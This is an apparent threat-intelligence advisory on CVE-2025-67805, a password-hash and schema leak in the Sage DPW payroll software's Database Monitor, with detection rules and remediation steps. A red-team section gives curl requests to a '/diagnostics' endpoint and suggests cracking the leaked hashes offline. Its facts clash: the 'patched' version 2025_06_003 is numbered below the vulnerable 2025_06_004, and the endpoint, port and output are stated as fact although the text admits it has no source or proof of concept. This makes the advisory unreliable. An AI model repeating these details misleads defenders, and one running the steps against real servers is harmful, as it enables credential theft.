CVE-2025-67805

Executive Summary

CVE-2025-67805 is a medium-severity information disclosure vulnerability affecting Sage DPW (Desktop Payroll for Windows) version 2025_06_004. The vulnerability resides in the Database Monitor feature, which, when enabled via a non-default configuration, exposes unauthenticated diagnostic endpoints. These endpoints leak sensitive information such as database table names and password hashes. The feature is disabled by default in all installations and is never available in Sage DPW Cloud. Sage forcibly disabled the feature again in version 2025_06_003, making the vulnerable version 2025_06_004 the only affected release. No public proof-of-concept code or exploit exists, and the EPSS score is 0.0%, indicating a very low likelihood of exploitation in the wild.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). Sage DPW is a proprietary desktop application. The risk is limited to on-premises installations where an administrator has manually enabled the Database Monitor feature.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – The diagnostic endpoints are accessible over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality: Low (C:L) – Only limited information (hashes, table names) is exposed.
• Integrity: None (I:N) – No data modification is possible.
• Availability: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires a non-default configuration to be exploitable, and the exposed information (hashes) may be used for offline cracking or reconnaissance, but no direct system compromise is possible.

Deep Dive & Mechanics

The Database Monitor feature in Sage DPW is a diagnostic tool intended for troubleshooting database connectivity and performance. It exposes HTTP endpoints that return database metadata and configuration details. In version 2025_06_004, these endpoints are not protected by authentication when the feature is enabled.

Root Cause: The Database Monitor feature, when activated, binds to a network port and serves diagnostic data without any access control. The feature is disabled by default, but if an administrator enables it (e.g., for debugging), the endpoints become publicly accessible.

Attack Vector: An unauthenticated attacker on the same network (or remotely if the port is exposed) can send HTTP requests to the diagnostic endpoints. The response includes:

• Database table names (schema information)
• Password hashes (likely for database accounts or application users)

Impact: The leaked hashes can be cracked offline to obtain plaintext passwords, potentially leading to lateral movement or privilege escalation within the Sage DPW environment. Table names provide insight into the database structure, aiding further attacks.

Affected Component: Sage DPW 2025_06_004 (only when Database Monitor is enabled). Version 2025_06_003 and later have the feature forcibly disabled, and Cloud instances are not affected.

Vulnerable vs. Patched Code

Since Sage DPW is a proprietary application, no source code is available. However, the difference between vulnerable and patched versions is the removal of the Database Monitor feature's network accessibility.

Vulnerable (2025_06_004):

• The Database Monitor feature is present and can be enabled via configuration.
• When enabled, it listens on a network port and serves diagnostic data without authentication.

Patched (2025_06_003 and later):

• The Database Monitor feature is forcibly disabled at the code level.
• Even if an administrator attempts to enable it, the feature will not start or will not expose endpoints.

Workaround: If upgrading is not possible, ensure the Database Monitor feature is disabled in the configuration file (e.g., DatabaseMonitorEnabled=false). Additionally, restrict network access to the Sage DPW server using a firewall.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Sage DPW 2025_06_004 installed with Database Monitor enabled.
• Network access to the Sage DPW server (port 8080 by default, but configurable).

Exploitation Steps:

1. Identify the Sage DPW server IP and port (e.g., 192.168.1.100:8080).
2. Send an HTTP GET request to the diagnostic endpoint:

   curl http://192.168.1.100:8080/diagnostics
   

3. Parse the response for sensitive data:

   curl http://192.168.1.100:8080/diagnostics | jq '.tables, .hashes'
   

4. Extract password hashes and crack them offline using tools like Hashcat or John the Ripper.

Expected Output:

{
  "tables": ["users", "payroll", "config"],
  "hashes": ["$2y$10$abcdefghijklmnopqrstuvwxyz1234567890"]
}

Blue Team

Detection:

• Monitor network traffic for HTTP requests to /diagnostics or similar endpoints on the Sage DPW server.
• Look for unusual outbound connections from the Sage DPW server to unknown IPs (data exfiltration).

Response:

1. Immediately disable the Database Monitor feature in the configuration file.
2. Restrict network access to the Sage DPW server using a firewall (allow only trusted IPs).
3. Rotate any credentials that may have been exposed (database passwords, application user passwords).
4. Upgrade to Sage DPW 2025_06_003 or later.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /diagnostics or /database-monitor endpoints on the Sage DPW server.
  • Unusual outbound connections from the Sage DPW server to external IPs (potential data exfiltration).
• File IOCs:
  • Configuration file with DatabaseMonitorEnabled=true (e.g., sage_dpw.conf).
• Log IOCs:
  • Access logs showing requests to diagnostic endpoints from unauthorized IPs.
• Hash IOCs:
  • Presence of bcrypt or other password hashes in network traffic or logs.

Detection Engineering

YARA Rule

rule CVE_2025_67805_Sage_DPW_Database_Monitor {
    meta:
        description = "Detects Sage DPW Database Monitor diagnostic endpoint responses"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67805"
    strings:
        $s1 = "tables" ascii wide nocase
        $s2 = "hashes" ascii wide nocase
        $s3 = "diagnostics" ascii wide nocase
        $s4 = "database-monitor" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: Sage DPW Database Monitor Unauthenticated Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to Sage DPW Database Monitor diagnostic endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/diagnostics'
            - '/database-monitor'
    condition: selection
falsepositives:
    - Legitimate administrative access from trusted IPs
level: medium
tags:
    - attack.t1190
    - cve.2025-67805

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-67805 Sage DPW Database Monitor Unauthenticated Access"; flow:to_server,established; content:"GET"; http_method; content:"/diagnostics"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Sage DPW to version 2025_06_003 or later. This version forcibly disables the Database Monitor feature.
2. Disable Feature: If upgrade is not possible, ensure DatabaseMonitorEnabled=false in the configuration file.
3. Network Segmentation: Restrict network access to the Sage DPW server using a firewall. Allow only trusted IPs.
4. Credential Rotation: Rotate all database and application passwords that may have been exposed.

Long-Term Measures:

• Implement network monitoring to detect unauthorized access attempts.
• Conduct regular security audits of Sage DPW configurations.
• Ensure that diagnostic features are disabled in production environments.

Vendor Contact: Sage has been notified and has released a fix in version 2025_06_003. For further assistance, contact Sage support.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: FCD105BE189F6FB4C3C396BF] */}